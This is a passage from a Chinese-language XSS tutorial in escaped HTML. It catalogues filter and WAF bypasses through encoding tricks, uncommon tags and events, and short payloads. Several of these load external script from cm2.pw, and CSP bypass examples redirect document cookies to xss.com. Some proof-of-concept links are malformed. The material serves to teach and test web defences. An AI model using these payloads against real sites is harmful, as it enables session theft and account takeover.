\/>\n\u800c\u4e14javascript\u4f2a\u534f\u8bae\u91cc\u53ef\u4ee5\u4f7f\u7528\u7f16\u7801\uff0c\u53ef\u4ee5\u7ed3\u5408\u7f16\u7801\u4f7f\u7528<\/p>\n<p>\u4f7f\u7528\u56de\u8f66\u3001\u7a7a\u683c\u7b49\u7279\u6b8a\u5b57\u7b26<\/p>\n<p>\u5728xss\u8bed\u53e5\u91cc\u4f7f\u7528\u56de\u8f66\u7a7a\u683c\uff0c\u8fdb\u884c\u6df7\u6dc6\u7ed5\u8fc7\uff0c\u5728\u4e00\u4e9b\u5173\u952e\u8bcd\u4e4b\u95f4\u52a0\u56de\u8f66\u6216\u7a7a\u683c\uff0c\u4f7fwaf\u68c0\u6d4b\u65f6\u4e0d\u80fd\u6709\u6548\u8bc6\u522b\u5173\u952e\u5b57\uff0c\u8d77\u5230\u7ed5\u8fc7\u4f5c\u7528<\/p>\n<p>\u793a\u4f8b\u8bed\u53e5\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\"> &lt;img src =&quot;&quot; on input=alert(&#039;xss&#039;)&gt;<\/code><\/pre>\n<p>\u7a7a\u683c\u7ed5\u8fc7\u65b9\u5f0f<\/p>\n<p>\u793a\u4f8b\u8bed\u53e5\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\"> &lt;img src=&quot;&quot; on input=alert(&#039;xss&#039;)&gt;<\/code><\/pre>\n<p>\u56de\u8f66\u7ed5\u8fc7\u65b9\u5f0f<\/p>\n<p>\u5728css\u7684style\u4e2d\u4f7f\u7528\/**\/\u6ce8\u91ca\u7b26<br \/>\n\u5728\u8bed\u53e5\u4e2d\u6dfb\u52a0\u6ce8\u91ca\u7b26\uff0c\u8d77\u5230\u4e00\u4e2a\u6df7\u6dc6\uff0c\u7ed5\u8fc7\u7684\u4f5c\u7528<br \/>\n\u793a\u4f8b\u8bed\u53e5\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;img \/**\/src =&quot;javascript:alert(1)&quot;&gt;<\/code><\/pre>\n<ul>\n<li>\u4f7f\u7528\u5b57\u7b26\u7f16\u7801<\/li>\n<\/ul>\n<p><strong>HTML\u7f16\u7801 \u5341\u516d\/\u516b\u8fdb\u5236\u7f16\u7801 base64\u7f16\u7801 ASCII\u7f16\u7801 HEX\u7f16\u7801\u7ed5\u8fc7 Unicode\u7f16\u7801<\/strong><\/p>\n<p><strong>\u5341\u516d\/\u516b\u8fdb\u5236\u7f16\u7801<\/strong><\/p>\n<p>js 16\u8fdb\u5236\u7f16\u7801<br \/>\n\u793a\u4f8b\u8bed\u53e5:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">oninput=self[&#039;\\x61\\x6c\\x65\\x72\\x74&#039;](1)<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/61efd3a93f8a14de38e886122913f2bb_65882.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe18\" \/><\/p>\n<p>js 8\u8fdb\u5236\u7f16\u7801<br \/>\n\u793a\u4f8b\u8bed\u53e5\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">oninput=self[&#039;\\141\\154\\145\\162\\164&#039;](1)<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/e3ced46be1728c800b9aec77a2df81e2_72187.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe19\" \/><br \/>\nbase64\u7f16\u7801<\/p>\n<p>\u793a\u4f8b\u8bed\u53e5\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">oninput=eval(atob(&#039;YWxlcnQoMSk=&#039;))<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/ee2d3b8916fa45f38aa566f4e9614e17_33022.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe20\" \/><\/p>\n<p>\u8fd9\u91cc\u7684atob\u662fjs\u89e3\u7801base64\u7684\u65b9\u6cd5<br \/>\n\u901a\u8fc7eval\u53bb\u6267\u884catob\u8fd9\u4e2a\u89e3\u7801\u65b9\u6cd5<\/p>\n<p>ASCII\u7f16\u7801<\/p>\n<p>\u793a\u4f8b\u8bed\u53e5\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">oninput=eval(String.fromCharCode(97,108,101,114,116,40,39,112,111,114,117,105,110,39,41))<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/5fe1ab1785a359441c0f3b8d18d3192c_52658.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe21\" \/><\/p>\n<p>String.fromCharCode\u662f\u7528\u4e8e\u8f6c\u6362\u7f16\u7801\u7684\u65b9\u6cd5\uff0c\u53ef\u4ee5\u7528\u4e8e\u8f6cascii\u7f16\u7801\u7684<\/p>\n<p>Unicode\u7f16\u7801<\/p>\n<p>\u793a\u4f8b\u8bed\u53e5:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">oninput=self[&#039;\\u0061\\u006c\\u0065\\u0072\\u0074&#039;](1)<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/736a00ddd3f7de6f41c681ea9748e308_27212.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe22\" \/><\/p>\n<p>\u4ee5\u4e0b\u6807\u7b7e\u5c5e\u6027\u503c\u53ef\u4ee5\u88ab\u7f16\u7801\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">javascripthref=action=formaction=location=on*=name=background=poster=src=code=data= \/\/\u53ea\u652f\u6301base64<\/code><\/pre>\n<p><strong>\u5b57\u7b26\u96c6<\/strong><\/p>\n<p>\u6709\u65f6\u53ef\u7528\u4e00\u4e9b\u975e\u6807\u51c6\u7f16\u7801\u7ed5\u5f00\u8fc7\u6ee4\u5668<\/p>\n<p>UTF-7\u3001US-ASCII\u3001UTF-16<\/p>\n<p>\u5229\u7528\u6807\u7b7e\u7ed5\u8fc7<\/p>\n<p>\u9664\u4e86script\u548cimg\u4ee5\u5916\u4e5f\u6709\u5176\u4ed6\u51b7\u95e8\u6807\u7b7e\uff0c\u8fd9\u4e9b\u53ef\u80fd\u6ca1\u6709\u88ab\u8fc7\u6ee4\uff0c\u53ef\u4ee5\u5c1d\u8bd5\u7ed5\u8fc7<\/p>\n<p>inupt\u6807\u7b7e\uff0c\u7528\u4e8e\u8868\u5355\u63d0\u4ea4\u7684\u6807\u7b7e<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;input onclick=alert(1) value=aaaaaaaaaaaaaa&gt;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/611c5577dcb53e9eb9c31661e5fca812_38564.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe23\" \/><\/p>\n<p>button\u6807\u7b7e\uff0c\u6309\u94ae\u6807\u7b7e<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;button type=&quot;button&quot; onclick=&quot;alert(1)&quot;&gt;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/8a2ca5e2535936f3406ac30a24d91495_30986.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe24\" \/><\/p>\n<p>body \u6807\u7b7e\uff0chtml\u6587\u6863\u6240\u9700\u6807\u7b7e<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;body onpageshow=alert(1)&gt;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/0f9b37b0c2984a5b34c2d404c9141f4d_17867.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe25\" \/><\/p>\n<p>marquee \u6807\u7b7e \u4e00\u4e2a\u7528\u4e8e\u5b9e\u73b0\u6eda\u52a8\u7684\u6807\u7b7e<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;marquee behavior=&quot;xxxx&quot; onstart=alert(8)&gt;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/a678e50f951559bee8a2103da5d724a6_74914.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe26\" \/><\/p>\n<p>svg\u6807\u7b7e\uff0c\u7528\u4e8e\u7ed8\u5236\u77e2\u91cf\u56fe\u7684 HTML5 \u6807\u7b7e<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;svg onload=alert(2)&gt;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/2264b341113fec9d6e29571fa4f8a97a_34982.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe27\" \/><\/p>\n<p>\u5229\u7528\u4e8b\u4ef6\u7ed5\u8fc7xss<\/p>\n<p>\u4e00\u4e9b\u4e8b\u4ef6\u53ef\u80fd\u6ca1\u6709\u88ab\u8fc7\u6ee4<br \/>\n\u4f7f\u7528\u7684\u4e8b\u4ef6\u6700\u597d\u51b7\u95e8\uff0c\u4e14\u89e6\u53d1\u6761\u4ef6\u76f8\u5bf9\u7b80\u5355<\/p>\n<p>onerror() \u52a0\u8f7d\u6587\u6863\u6216\u56fe\u50cf\u5bfc\u81f4\u9519\u8bef<\/p>\n<p>\u793a\u4f8b\u8bed\u53e5:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-js\">&lt;img src=&quot;&quot; onerror=alert(1)&gt;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/4f552d75e227ad8caaf1e54b0f51ce3c_70393.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe28\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/b8b6b9d29c5ff94361cfe4886a2ad50e_58535.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe29\" \/><\/p>\n<p>oncontextmenu() \u9f20\u6807\u53f3\u952e\u6267\u884c\u4ee3\u7801<br \/>\n\u793a\u4f8b\u8bed\u53e5:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-js\">oncontextmenu=alert(1)<\/code><\/pre>\n<p>\u6d4b\u8bd5\u6548\u679c<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/c030b3691df8487de03b4131c8613971_50862.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe30\" \/><\/p>\n<p>onMouseOver() \u9f20\u6807\u79fb\u52a8\u4e00\u4e2a\u5bf9\u8c61\u6216\u533a\u57df<br \/>\n\u793a\u4f8b\u8bed\u53e5:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-js\">onMouseOver=alert(1)<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/1b080db6a720ec78ab439609aa1a02d2_41919.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe31\" \/><\/p>\n<p>oncopy() \u9f20\u6807\u53f3\u952e\u590d\u5236\u65f6\u6267\u884c\u7684\u4ee3\u7801<br \/>\n\u793a\u4f8b\u8bed\u53e5:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-js\">oncopy=alert(1)<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/f5113eca75f6db47670ac2f0e2396fd6_36838.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe32\" \/><\/p>\n<p>onmouseenter() \u9f20\u6807\u8fdb\u5165\u9009\u533a\u540e\u89e6\u53d1<br \/>\n\u793a\u4f8b\u8bed\u53e5:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-js\">onmouseenter=alert(1)<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/b2da2c14600b154586349f7f2fb104bd_38844.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe33\" \/><\/p>\n<p>onmouseleave() \u9f20\u6807\u79bb\u5f00\u9009\u533a\u540e\u89e6\u53d1<br \/>\n\u793a\u4f8b\u8bed\u53e5:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-js\">onmouseleave=alert(1)<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/790166bc640e5c36467e6be4ccf78368_49745.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe34\" \/><\/p>\n<p>onkeydown() \u6309\u4e0b\u952e\u76d8\u6309\u952e\u89e6\u53d1<\/p>\n<p>\u793a\u4f8b\u8bed\u53e5:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-js\">onkeydown=alert(1)<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/a5609e3e2b9c8eb92fd8b0fbfebda4bb_72259.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe35\" \/><\/p>\n<p>onpaste() \u6267\u884c\u7c98\u8d34\u65f6\u89e6\u53d1<\/p>\n<p>\u793a\u4f8b\u8bed\u53e5:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-js\">onpaste=alert(1)<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/da64b9136b68dee245097ee491724fea_63142.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe36\" \/><\/p>\n<p>onwheel() \u6267\u884c\u6eda\u8f6e\u65f6\u89e6\u53d1<\/p>\n<p>\u793a\u4f8b\u8bed\u53e5:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-js\">onwheel=alert(1)<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/8a58e22ede430ff7d171638fa13312fd_84760.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe37\" \/><\/p>\n<p>\u4ee5\u4e0a\u591a\u6570\u662f\u5b58\u5728\u8fc7\u6ee4\u60c5\u51b5\u4e0b\u7684bypass\u65b9\u6cd5\uff0c\u53ef\u4ee5\u7ed3\u5408XSS payload\u4e0b\u7684\u5185\u5bb9\u4e00\u8d77\u5b66\u4e60\u3002<\/p>\n<h5><span class=\"ez-toc-section\" id=\"%e9%95%bf%e5%ba%a6%e9%99%90%e5%88%b6%e7%9a%84%e7%bb%95%e8%bf%87\"><\/span>\u957f\u5ea6\u9650\u5236\u7684\u7ed5\u8fc7<span class=\"ez-toc-section-end\"><\/span><\/h5>\n<ol>\n<li>\n<p>eval(name)<\/p>\n<p>\u8fd9\u53ef\u80fd\u662f\u4e00\u4e2a\u53ef\u4ee5\u6267\u884c\u4efb\u610fjavascript\u7684\u6700\u77ed\u7684\u6709\u6548\u8d1f\u8f7d\u3002name\u5c5e\u6027\u53ef\u4ee5\u88ab\u5206\u914d\u4efb\u4f55\u4ee3\u7801\uff0c\u5e76\u4e14\u4e5f\u7ee7\u627f\u4e86\u8de8\u57df\u3002\u8fd9\u7ed9\u4e86\u6211\u4eec\u4e00\u4e2a\u597d\u5904\uff0c\u4f7f\u6211\u4eec\u53ef\u4ee5\u4e0d\u53d7\u4efb\u4f55\u9650\u5236\u5730\u6267\u884c\u4efb\u4f55payload\uff0c\u9664\u975e\u9875\u9762\u91cd\u5199name\u3002<\/p>\n<p>POC: <a href=\"https:\/\/attacker.cm2.pw\/?xss=name=&quot;d=document;s=d.createElement(&#039;script&#039;);s.src=&#039;\/\/cm2.pw&#039;;d.body.appendChild(s)&quot;;open(&#039;\/\/victim.cm2.pw\/?xss\"><a href=\"https:\/\/attacker.cm2.pw\/?xss=name=\" rel=\"nofollow\">https:\/\/attacker.cm2.pw\/?xss=name=<\/a>\"d=document;s=d.createElement('script');s.src='\/\/cm2.pw';d.body.appendChild(s)\";open('\/\/victim.cm2.pw\/?xss<\/a>=<a href=\"ja vasc ript:eval(name)\">Click<\/a>','_self')<\/p>\n<p>Payload \u957f\u5ea6:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-js\">'javascript:eval(name)'.length==21<\/code><\/pre>\n<\/li>\n<li>\n<p>import<\/p>\n<p>\u8fd9\u662f\u83b7\u53d6\u5916\u90e8javascript\u7684\u53e6\u4e00\u4e2a\u6700\u77ed\u7684payload\uff0c\u4f46\u662f\u53ea\u80fd\u5728\u57fa\u4e8eChromium\u7684\u6d4f\u89c8\u5668\u4e0a\u5de5\u4f5c\u3002<\/p>\n<p>POC:<\/p>\n<p><a href=\"https:\/\/victim.cm2.pw\/?xss=[Click](https:\/\/nosec.org\/home\/detail\/ja\">https:\/\/victim.cm2.pw\/?xss=%5BClick%5D(https:\/\/nosec.org\/home\/detail\/ja<\/a> vasc ript:import(\/\/\u33a0.\u33ba\/))<\/p>\n<p>Payload \u957f\u5ea6:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-js\">'javascript:import(\/\\\u33a0.\u33ba\/)'.length==24<\/code><\/pre>\n<\/li>\n<li>\n<p>$.getsc ript<\/p>\n<p>\u8fd9\u662f\u4e00\u4e2a\u975e\u5e38\u6709\u540d\u7684jQuery\u51fd\u6570\uff0c\u7528\u6765\u52a0\u8f7d\u5916\u90e8javascript\u3002\u5728\u5168\u5c40\u4e0a\u4e0b\u6587\u4e2d\u83b7\u53d6\u5e76\u6267\u884c\u811a\u672c\uff0c\u5c31\u50cfscript\u6807\u7b7e\u52a0\u8f7d\u7684\u4e00\u6837\u3002\u4f46\u662f\uff0c\u8fd9\u8981\u6c42jQuery\u5df2\u7ecf\u5728\u9875\u9762\u4e2d\u52a0\u8f7d\u3002<\/p>\n<p>POC:<\/p>\n<p><a href=\"https:\/\/victim.cm2.pw\/?xss=[Click](https:\/\/nosec.org\/home\/detail\/ja\">https:\/\/victim.cm2.pw\/?xss=%5BClick%5D(https:\/\/nosec.org\/home\/detail\/ja<\/a> vasc ript:$.getsc ript(\/\/cm2.pw\/))<\/p>\n<p>Payload \u957f\u5ea6:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-js\">'javascript:$.getsc ript(\/\\\u33a0.\u33ba\/)'.length==29<\/code><\/pre>\n<\/li>\n<li>\n<p>$.get<\/p>\n<p>\u8fd9\u662f\u53e6\u4e00\u4e2ajQuery\u51fd\u6570\uff0c\u5982\u679c\u8fd4\u56de\u7684Content\u7c7b\u578b\u8bbe\u7f6e\u4e3atext\/javascript\uff0c\u5219\u8be5\u51fd\u6570\u53ef\u4ee5\u52a0\u8f7d\u548c\u6267\u884c\u5916\u90e8ja vasc ript\u3002\u8fd9\u5b9e\u9645\u4e0a\u662f\u4e00\u4e2a\u4ec5\u5728jQuery 3.0.0\u4e4b\u524d\u80fd\u751f\u6548\u7684\u6f0f\u6d1e\u3002<\/p>\n<p>POC:<\/p>\n<p><a href=\"https:\/\/victim.cm2.pw\/?xss=[Click](https:\/\/nosec.org\/home\/detail\/ja\">https:\/\/victim.cm2.pw\/?xss=%5BClick%5D(https:\/\/nosec.org\/home\/detail\/ja<\/a> vasc ript:$.get(\/\/cm2.pw\/))<\/p>\n<p>Payload \u957f\u5ea6:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-js\">'javascript:$.get(\/\\\u33a0.\u33ba\/)'.length==23<\/code><\/pre>\n<\/li>\n<li>\n<p>\u4f7f\u7528\u73b0\u6709\u5143\u7d20\u548c\/\u6216\u5c5e\u6027<\/p>\n<p>\u627e\u5230\u7531\u7528\u6237\u90e8\u5206\u6216\u5b8c\u5168\u63a7\u5236\u7684HTML\u5143\u7d20\u548cja vasc ript\u5c5e\u6027\u503c\u5e76\u4e0d\u7f55\u89c1\u3002\u867d\u7136\u8fd9\u53ef\u80fd\u9700\u8981\u82b1\u8d39\u4e00\u4e9b\u65f6\u95f4\uff0c\u4f46\u662f\u5f53\u63d2\u5165\u7684XSS\u957f\u5ea6\u53d7\u9650\u65f6\uff0c\u5b83\u53ef\u4ee5\u63d0\u4f9b\u5de8\u5927\u7684\u5e2e\u52a9\u3002\u4f8b\u5982\uff0c\u5927\u591a\u6570Ajax\u9a71\u4f7f\u5e94\u7528\u5b58\u50a8hash\u6807\u8bc6\u7b26\u4ee5\u4fbf\u4e8e\u5bfc\u822a\u3002<\/p>\n<p>\u5982\u679c\u9875\u9762\u5b58\u50a8hash\u5982\u4e0b\uff1b<\/p>\n<\/li>\n<\/ol>\n<pre class=\"prettyprint linenums\" ><code class=\"language-js\"> const hash = document.location.hash;<\/code><\/pre>\n<p>\u6211\u4eec\u53ef\u4ee5\u7528\u5b83\u6765\u52a0\u8f7d\u5916\u90e8\u811a\u672c\uff1b<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-php\"> eval(&quot;&#039;&quot;+hash)\n           POC:\nhttps:\/\/victim.cm2.pw\/?xss=const hash=document.location.hash;[Click](https:\/\/nosec.org\/home\/detail\/ja vasc ript:eval(`&#039;`%2bhash))#&#039;;d=document;s=d.createElement(&#039;sc ript&#039;);s.src=&#039;\/\/cm2.pw&#039;;d.body.appendChild(s)\n           Payload \u957f\u5ea6:\n `ja vasc ript:eval(&quot;&#039;&quot;+hash)`.length==25<\/code><\/pre>\n<p>\u8fd8\u6709\u4e9b\u65e0\u73b0\u6210\u6848\u4f8b\u7684\u7ed5\u8fc7\u65b9\u6cd5\uff0c\u53ef\u4ee5\u53c2\u8003\uff1a<a href=\"https:\/\/nosec.org\/home\/detail\/2032.html\">\u6587\u7ae0\u6765\u6e90<\/a><\/p>\n<h5><span class=\"ez-toc-section\" id=\"csp%e5%86%85%e5%ae%b9%e5%ae%89%e5%85%a8%e7%ad%96%e7%95%a5%e7%bb%95%e8%bf%87\"><\/span>CSP(\u5185\u5bb9\u5b89\u5168\u7b56\u7565)\u7ed5\u8fc7<span class=\"ez-toc-section-end\"><\/span><\/h5>\n<p>Content Security Policy \uff08CSP\uff09\u5185\u5bb9\u5b89\u5168\u7b56\u7565\uff0c\u662f\u4e00\u4e2a\u9644\u52a0\u7684\u5b89\u5168\u5c42\uff0c\u6709\u52a9\u4e8e\u68c0\u6d4b\u5e76\u7f13\u89e3\u67d0\u4e9b\u7c7b\u578b\u7684\u653b\u51fb\uff0c\u5305\u62ec\u8de8\u7ad9\u811a\u672c\uff08XSS\uff09\u548c\u6570\u636e\u6ce8\u5165\u653b\u51fb\u3002<\/p>\n<p>CSP\u7684\u7279\u70b9\u5c31\u662f\u5b83\u662f\u5728\u6d4f\u89c8\u5668\u5c42\u9762\u505a\u7684\u9632\u62a4\uff0c\u662f\u548c\u540c\u6e90\u7b56\u7565\u540c\u4e00\u7ea7\u522b\uff0c\u9664\u975e\u6d4f\u89c8\u5668\u672c\u8eab\u51fa\u73b0\u6f0f\u6d1e\uff0c\u5426\u5219\u4e0d\u53ef\u80fd\u4ece\u673a\u5236\u4e0a\u7ed5\u8fc7\u3002<\/p>\n<p>CSP\u53ea\u5141\u8bb8\u88ab\u8ba4\u53ef\u7684JS\u5757\u3001JS\u6587\u4ef6\u3001CSS\u7b49\u89e3\u6790\uff0c\u53ea\u5141\u8bb8\u5411\u6307\u5b9a\u7684\u57df\u53d1\u8d77\u8bf7\u6c42\u3002<\/p>\n<p><strong>\u5229\u7528\u9875\u9762\u9884\u52a0\u8f7d<\/strong><\/p>\n<p>\u6d4f\u89c8\u5668\u4e3a\u4e86\u589e\u5f3a\u2f64\u2f3e\u4f53\u9a8c\uff0c\u8ba9\u6d4f\u89c8\u5668\u66f4\u6709\u6548\u7387\uff0c\u5c31\u6709\u2f00\u4e2a\u9884\u52a0\u8f7d\u7684\u529f\u80fd\uff0c\u2f24\u4f53\u662f\u5229\u2f64\u6d4f\u89c8\u5668\u7a7a\u95f2\u65f6\u95f4\u53bb\u52a0\u8f7d\u6307\u5b9a\u7684\u5185\u5bb9\uff0c\u7136\u540e\u7f13\u5b58\u8d77\u6765\u3002\u8fd9\u4e2a\u6280\u672f\u2f1c\u7ec6\u5206\u4e3aDNS-prefetch\u3001subresource\u3001prefetch\u3001preconnect\u3001 prerender\u3002HTML5\u2eda\u2faf\u9884\u52a0\u8f7d\u662f\u2f64link\u6807\u7b7e\u7684rel\u5c5e\u6027\u6765\u6307\u5b9a\u7684\u3002\u5982\u679ccsp\u5934\u6709 unsafe-inline\uff0c\u5219\u2f64\u9884\u52a0\u8f7d\u7684\u2f45\u5f0f\u53ef\u4ee5\u5411\u5916\u754c\u53d1\u51fa\u8bf7\u6c42\uff0c\u4f8b\u5982<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;!-- \u9884\u52a0\u8f7d\u67d0\u4e2a\u2eda\u2faf --&gt;&lt;link rel=&#039;prefetch&#039; href=&#039;http:\/\/xxxx&#039;&gt;&lt;!-- firefox --&gt;&lt;link rel=&#039;prerender&#039; href=&#039;http:\/\/xxxx&#039;&gt;&lt;!-- chrome --&gt;&lt;!-- \u9884\u52a0\u8f7d\u67d0\u4e2a\u56fe\u2f5a --&gt;&lt;link rel=&#039;prefetch&#039; href=&#039;http:\/\/xxxx\/x.jpg&#039;&gt;&lt;!-- DNS \u9884\u89e3\u6790 --&gt;&lt;link rel=&quot;dns-prefetch&quot; href=&quot;http:\/\/xxxx&quot;&gt;&lt;!-- \u7279\u5b9a\u2f42\u4ef6\u7c7b\u578b\u9884\u52a0\u8f7d --&gt;&lt;link rel=&#039;preload&#039; href=&#039;\/\/xxxxx\/xx.js&#039;&gt;&lt;!-- chrome --&gt;<\/code><\/pre>\n<p><strong>\u5229\u7528302\u91cd\u5b9a\u5411<\/strong><\/p>\n<p>\u5229\u7528url\u8df3\u8f6c\u53ef\u4ee5\u56de\u907f\u4e25\u683c\u7684CSP\u3002<\/p>\n<p>\u5728\u5141\u8bb8unsafe-inline\u7684\u60c5\u51b5\u4e0b\uff0c\u53ef\u4ee5\u7528window.location\uff0c\u6216\u8005window.open\u4e4b\u7c7b\u7684\u65b9\u6cd5\u8fdb\u884c\u8df3\u8f6c\u7ed5\u8fc7\u3002<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;script&gt;  window.location=&quot;http:\/\/www.xss.com\/x.php?c=[cookie]&quot;;&lt;\/script&gt;<\/code><\/pre>\n<p>\u5728 default-src \u2018none\u2019 \u7684\u60c5\u51b5\u4e0b\uff0c\u53ef\u4ee5\u4f7f\u7528 meta \u6807\u7b7e\u5b9e\u73b0\u8df3\u8f6c<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\"> &lt;meta http-equiv=&quot;refresh&quot; content=&quot;1;url=http:\/\/www.xss.com\/x.php?c=[cookie]&quot; &gt;<\/code><\/pre>\n<p><a> \u6807\u7b7e\u914d\u5408\u7ad9\u5185\u7684\u67d0\u4e9b\u53ef\u63a7 JS \u70b9\u51fb\u64cd\u4f5c\u6765\u8df3\u8f6c<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\"> &lt;script&gt;  $(#foo).click()&lt;\/script&gt;&lt;a id=&quot;foo&quot; href=&quot;xxxxx.com&quot;&gt;<\/code><\/pre>\n<p>\u5229\u7528\u7f51\u7ad9\u672c\u8eab\u7684\u8df3\u8f6c\u63a5\u53e3<\/p>\n<blockquote>\n<p><a 